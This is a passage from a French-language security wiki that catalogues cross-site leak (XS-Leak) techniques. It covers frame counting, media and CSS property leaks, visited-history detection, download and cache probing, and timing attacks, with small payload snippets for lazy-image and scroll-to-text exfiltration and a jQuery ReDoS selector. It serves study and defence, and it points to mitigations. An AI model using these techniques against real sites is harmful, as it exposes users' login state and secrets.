• More info: https://xsleaks.dev/docs/attacks/frame-counting/
• Summary: Évaluer la quantité d'éléments iframe en inspectant la propriété window.length.
• Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak

Compter le nombre de frames dans un web ouvert via iframe ou window.open peut aider à identifier le statut de l'utilisateur sur cette page.
De plus, si la page a toujours le même nombre de frames, vérifier en continu le nombre de frames peut aider à identifier un modèle qui pourrait divulguer des informations.

Un exemple de cette technique est que dans Chrome, un PDF peut être détecté avec le comptage de frames car un embed est utilisé en interne. Il existe des Open URL Parameters qui permettent un certain contrôle sur le contenu tel que zoom, view, page, toolbar où cette technique pourrait être intéressante.

HTMLElements

• Inclusion Methods: HTML Elements
• Detectable Difference: Page Content
• More info: https://xsleaks.dev/docs/attacks/element-leaks/
• Summary: Lire la valeur divulguée pour distinguer entre 2 états possibles
• Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak

La fuite d'informations à travers les éléments HTML est une préoccupation en matière de sécurité web, en particulier lorsque des fichiers multimédias dynamiques sont générés en fonction des informations de l'utilisateur, ou lorsque des filigranes sont ajoutés, modifiant la taille du média. Cela peut être exploité par des attaquants pour différencier entre des états possibles en analysant les informations exposées par certains éléments HTML.

Information Exposed by HTML Elements

• HTMLMediaElement: Cet élément révèle la duration et les temps buffered du média, qui peuvent être accessibles via son API. Read more about HTMLMediaElement
• HTMLVideoElement: Il expose videoHeight et videoWidth. Dans certains navigateurs, des propriétés supplémentaires comme webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, et webkitDecodedFrameCount sont disponibles, offrant des informations plus détaillées sur le contenu multimédia. Read more about HTMLVideoElement
• getVideoPlaybackQuality(): Cette fonction fournit des détails sur la qualité de lecture vidéo, y compris totalVideoFrames, qui peut indiquer la quantité de données vidéo traitées. Read more about getVideoPlaybackQuality()
• HTMLImageElement: Cet élément divulgue la height et la width d'une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonction image.decode() sera rejetée, indiquant l'échec de chargement correct de l'image. Read more about HTMLImageElement

CSS Property

• Inclusion Methods: HTML Elements
• Detectable Difference: Page Content
• More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
• Summary: Identifier les variations dans le style du site web qui correspondent à l'état ou au statut de l'utilisateur.
• Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak

Les applications web peuvent changer le style du site web en fonction du statut de l'utilisateur. Des fichiers CSS cross-origin peuvent être intégrés sur la page de l'attaquant avec l'élément HTML link, et les règles seront appliquées à la page de l'attaquant. Si une page change dynamiquement ces règles, un attaquant peut détecter ces différences en fonction de l'état de l'utilisateur.
En tant que technique de fuite, l'attaquant peut utiliser la méthode window.getComputedStyle pour lire les propriétés CSS d'un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l'élément affecté et le nom de la propriété sont connus.

CSS History

• Inclusion Methods: HTML Elements
• Detectable Difference: Page Content
• More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
• Summary: Détecter si le style :visited est appliqué à une URL indiquant qu'elle a déjà été visitée
• Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html

Le sélecteur CSS :visited est utilisé pour styliser les URL différemment si elles ont été précédemment visitées par l'utilisateur. Dans le passé, la méthode getComputedStyle() pouvait être utilisée pour identifier ces différences de style. Cependant, les navigateurs modernes ont mis en œuvre des mesures de sécurité pour empêcher cette méthode de révéler l'état d'un lien. Ces mesures incluent le retour systématique du style calculé comme si le lien avait été visité et la restriction des styles pouvant être appliqués avec le sélecteur :visited.

Malgré ces restrictions, il est possible de discerner l'état visité d'un lien de manière indirecte. Une technique consiste à tromper l'utilisateur pour qu'il interagisse avec une zone affectée par le CSS, en utilisant spécifiquement la propriété mix-blend-mode. Cette propriété permet le mélange d'éléments avec leur arrière-plan, révélant potentiellement l'état visité en fonction de l'interaction de l'utilisateur.

De plus, la détection peut être réalisée sans interaction de l'utilisateur en exploitant les temps de rendu des liens. Étant donné que les navigateurs peuvent rendre les liens visités et non visités différemment, cela peut introduire une différence de temps mesurable dans le rendu. Un proof of concept (PoC) a été mentionné dans un rapport de bogue Chromium, démontrant cette technique en utilisant plusieurs liens pour amplifier la différence de timing, rendant ainsi l'état visité détectable par analyse de timing.

Pour plus de détails sur ces propriétés et méthodes, visitez leurs pages de documentation :

• :visited: MDN Documentation
• getComputedStyle(): MDN Documentation
• mix-blend-mode: MDN Documentation

ContentDocument X-Frame Leak

• Inclusion Methods: Frames
• Detectable Difference: Headers
• More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
• Summary: Dans Google Chrome, une page d'erreur dédiée est affichée lorsqu'une page est bloquée d'être intégrée sur un site cross-origin en raison des restrictions X-Frame-Options.
• Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak

Dans Chrome, si une page avec l'en-tête X-Frame-Options défini sur "deny" ou "same-origin" est intégrée en tant qu'objet, une page d'erreur apparaît. Chrome retourne de manière unique un objet document vide (au lieu de null) pour la propriété contentDocument de cet objet, contrairement aux iframes ou à d'autres navigateurs. Les attaquants pourraient exploiter cela en détectant le document vide, révélant potentiellement des informations sur l'état de l'utilisateur, surtout si les développeurs définissent de manière incohérente l'en-tête X-Frame-Options, négligeant souvent les pages d'erreur. La sensibilisation et l'application cohérente des en-têtes de sécurité sont cruciales pour prévenir de telles fuites.

Download Detection

• Inclusion Methods: Frames, Pop-ups
• Detectable Difference: Headers
• More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
• Summary: Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
• Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar

L'en-tête Content-Disposition, spécifiquement Content-Disposition: attachment, indique au navigateur de télécharger le contenu plutôt que de l'afficher en ligne. Ce comportement peut être exploité pour détecter si un utilisateur a accès à une page qui déclenche un téléchargement de fichier. Dans les navigateurs basés sur Chromium, il existe quelques techniques pour détecter ce comportement de téléchargement :

1. Surveillance de la barre de téléchargement :

• Lorsqu'un fichier est téléchargé dans les navigateurs basés sur Chromium, une barre de téléchargement apparaît en bas de la fenêtre du navigateur.
• En surveillant les changements de la hauteur de la fenêtre, les attaquants peuvent déduire l'apparition de la barre de téléchargement, suggérant qu'un téléchargement a été initié.

2. Navigation de téléchargement avec des iframes :

• Lorsqu'une page déclenche un téléchargement de fichier en utilisant l'en-tête Content-Disposition: attachment, cela ne provoque pas d'événement de navigation.
• En chargeant le contenu dans une iframe et en surveillant les événements de navigation, il est possible de vérifier si la disposition du contenu provoque un téléchargement de fichier (pas de navigation) ou non.

3. Navigation de téléchargement sans iframes :

• Semblable à la technique iframe, cette méthode implique d'utiliser window.open au lieu d'une iframe.
• Surveiller les événements de navigation dans la nouvelle fenêtre ouverte peut révéler si un téléchargement de fichier a été déclenché (pas de navigation) ou si le contenu est affiché en ligne (la navigation se produit).

Dans les scénarios où seuls les utilisateurs connectés peuvent déclencher de tels téléchargements, ces techniques peuvent être utilisées pour déduire indirectement l'état d'authentification de l'utilisateur en fonction de la réponse du navigateur à la demande de téléchargement.

Partitioned HTTP Cache Bypass

• Inclusion Methods: Pop-ups
• Detectable Difference: Timing
• More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
• Summary: Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
• Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (de https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)

Si un site example.com inclut une ressource de *.example.com/resource, alors cette ressource aura la même clé de cache que si la ressource était directement demandée par navigation de niveau supérieur. Cela est dû au fait que la clé de cache est constituée de eTLD+1 de niveau supérieur et de eTLD+1 de frame.

Parce qu'accéder au cache est plus rapide que de charger une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) après. Si l'origine a été changée après l'arrêt, cela signifie que la ressource a été mise en cache.
Ou pourrait simplement envoyer un fetch à la page potentiellement mise en cache et mesurer le temps qu'il faut.

Manual Redirect

• Inclusion Methods: Fetch API
• Detectable Difference: Redirects
• More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
• Summary: Il est possible de découvrir si une réponse à une requête fetch est une redirection
• Code Example:

Fetch with AbortController

• Inclusion Methods: Fetch API
• Detectable Difference: Timing
• More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
• Summary: Il est possible d'essayer de charger une ressource et d'interrompre le chargement avant qu'il ne soit terminé. Selon si une erreur est déclenchée, la ressource a été ou n'a pas été mise en cache.
• Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

Utilisez fetch et setTimeout avec un AbortController pour détecter si la ressource est mise en cache et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus se déroule sans mettre en cache de nouveau contenu.

Script Pollution

• Inclusion Methods: HTML Elements (script)
• Detectable Difference: Page Content
• More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
• Summary: Il est possible de surcharger des fonctions intégrées et de lire leurs arguments même depuis un script cross-origin (qui ne peut pas être lu directement), cela pourrait divulguer des informations précieuses.
• Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

Service Workers

• Inclusion Methods: Pop-ups
• Detectable Difference: Page Content
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
• Summary: Mesurer le temps d'exécution d'un web en utilisant des service workers.
• Code Example:

Dans le scénario donné, l'attaquant prend l'initiative d'enregistrer un service worker dans l'un de ses domaines, spécifiquement "attacker.com". Ensuite, l'attaquant ouvre une nouvelle fenêtre sur le site web cible depuis le document principal et demande au service worker de commencer un chronomètre. Alors que la nouvelle fenêtre commence à se charger, l'attaquant navigue vers la référence obtenue dans l'étape précédente vers une page gérée par le service worker.

À l'arrivée de la requête initiée dans l'étape précédente, le service worker répond avec un code d'état 204 (No Content), terminant effectivement le processus de navigation. À ce stade, le service worker capture une mesure du chronomètre initié plus tôt à l'étape deux. Cette mesure est influencée par la durée du JavaScript causant des retards dans le processus de navigation.

Fetch Timing

• Inclusion Methods: Fetch API
• Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
• Summary: Utilisez performance.now() pour mesurer le temps qu'il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks

Cross-Window Timing

• Inclusion Methods: Pop-ups
• Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
• Summary: Utilisez performance.now() pour mesurer le temps qu'il faut pour effectuer une requête en utilisant window.open. D'autres horloges pourraient être utilisées.
• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks

With HTML or Re Injection

Ici, vous pouvez trouver des techniques pour exfiltrer des informations d'un HTML cross-origin en injectant du contenu HTML. Ces techniques sont intéressantes dans les cas où pour une raison quelconque vous pouvez injecter du HTML mais vous ne pouvez pas injecter de code JS.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Si vous devez exfiltrer du contenu et que vous pouvez ajouter du HTML avant le secret, vous devriez vérifier les techniques de balisage pendantes courantes.
Cependant, si pour une raison quelconque vous DEVEZ le faire caractère par caractère (peut-être que la communication se fait via un hit de cache), vous pouvez utiliser cette astuce.

Les images en HTML ont un attribut "loading" dont la valeur peut être "lazy". Dans ce cas, l'image sera chargée lorsqu'elle sera vue et non pendant le chargement de la page :

<img src=/something loading=lazy >

Par conséquent, ce que vous pouvez faire est d'ajouter beaucoup de caractères inutiles (par exemple des milliers de "W") pour remplir la page web avant le secret ou ajouter quelque chose comme <br><canvas height="1850px"></canvas><br>.
Ensuite, si par exemple notre injection apparaît avant le drapeau, l'image serait chargée, mais si elle apparaît après le drapeau, le drapeau + les caractères inutiles empêcheront son chargement (vous devrez jouer avec la quantité de caractères inutiles à placer). C'est ce qui s'est passé dans ce rapport.

Une autre option serait d'utiliser le scroll-to-text-fragment si cela est autorisé :

Scroll-to-text-fragment

Cependant, vous faites en sorte que le bot accède à la page avec quelque chose comme

#:~:text=SECR

La page web sera quelque chose comme : https://victim.com/post.html#:~:text=SECR

Où post.html contient les caractères indésirables de l'attaquant et une image à chargement paresseux, puis le secret du bot est ajouté.

Ce texte fera en sorte que le bot accède à tout texte sur la page contenant le texte SECR. Comme ce texte est le secret et qu'il est juste en dessous de l'image, l'image ne se chargera que si le secret deviné est correct. Vous avez donc votre oracle pour exfiltrer le secret caractère par caractère.

Un exemple de code pour exploiter cela : https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Chargement d'Image Paresseux Basé sur le Temps

S'il est impossible de charger une image externe qui pourrait indiquer à l'attaquant que l'image a été chargée, une autre option serait d'essayer de deviner le caractère plusieurs fois et de mesurer cela. Si l'image est chargée, toutes les requêtes prendraient plus de temps que si l'image n'est pas chargée. C'est ce qui a été utilisé dans la solution de ce rapport résumée ici :

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Si jQuery(location.hash) est utilisé, il est possible de découvrir via le timing si un contenu HTML existe, car si le sélecteur main[id='site-main'] ne correspond pas, il n'est pas nécessaire de vérifier le reste des sélecteurs :

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

Injection CSS

CSS Injection

Défenses

Il existe des atténuations recommandées dans https://xsinator.com/paper.pdf ainsi que dans chaque section du wiki https://xsleaks.dev/. Consultez ces ressources pour plus d'informations sur la façon de se protéger contre ces techniques.

Références

• https://xsinator.com/paper.pdf
• https://xsleaks.dev/
• https://github.com/xsleaks/xsleaks
• https://xsinator.com/
• https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle